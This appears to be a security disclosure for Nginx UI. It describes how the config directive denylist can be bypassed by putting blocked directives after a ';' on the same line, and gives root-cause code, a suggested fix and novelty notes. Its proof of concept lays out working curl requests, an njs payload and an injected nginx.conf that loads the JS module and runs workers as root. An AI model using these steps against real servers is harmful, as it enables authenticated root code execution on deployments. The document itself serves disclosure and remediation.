Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)

Summary

config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js_*, perl_*, load_module of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginx_config_modify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so), this leads to code execution in the nginx worker; with user root the workers run as root.

This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this.

Root cause (internal/config/validation.go, ValidateConfigDirectives)

for _, line := range bytes.Split(content, []byte("\n")) {          // splits on \n only
    trimmed := strings.TrimSpace(string(line))
    ...
    directive := firstDirectiveToken(trimmed)                      // first [a-zA-Z_]* of the line
    if directive == "user" && configuresRootWorkers(trimmed) { ... }     // keyed on first token
    if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
    if _, blocked := blockedConfigDirectives[directive]; blocked { ... }      // keyed on first token
}

nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only

Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.

1. Baseline — validator works on a plain line:

curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import"   (REJECTED)

2. Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent):

poc.conf:
  import fs from 'fs';
  function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
  export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}'   # ACCEPTED

3. Overwrite the main nginx.conf via the VALIDATED nginx_config_modify MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):

worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
    server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}

4. Reload. Result:

• nginx -t successful.
• worker /proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect.
• GET http://127.0.0.1:8897/pwn3 → pwned2 — js_content executed.
• /tmp/NJS_VIA_DENYLIST_BYPASS.txt created, owned by root → njs code execution as root.

(An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as poc_mcp_client.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)

Impact

Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so): code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus user root privilege regression.

Honest scope / caveats

• Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
• What was live-verified: the bypass + full RCE on POST /api/configs (add) and the MCP nginx_config_modify tool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME ValidateConfigFile (code-confirmed), so they are affected by construction; I did not individually live-test each.
• RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected load_module/js_* make reload fail → DoS plus a user root privilege regression (inferred from nginx module behavior; not separately tested on a stock build).
• The ; and include bypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on.
• "Full host compromise" describes the capability of root file read/write via njs fs (proven: a root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation, not something this PoC executed.

Suggested fix

Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on ; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit include, and recurse into included files — or validate via an allowlist and/or by running nginx -t on the candidate before activating it.

Dedup / novelty

Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported config_add validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.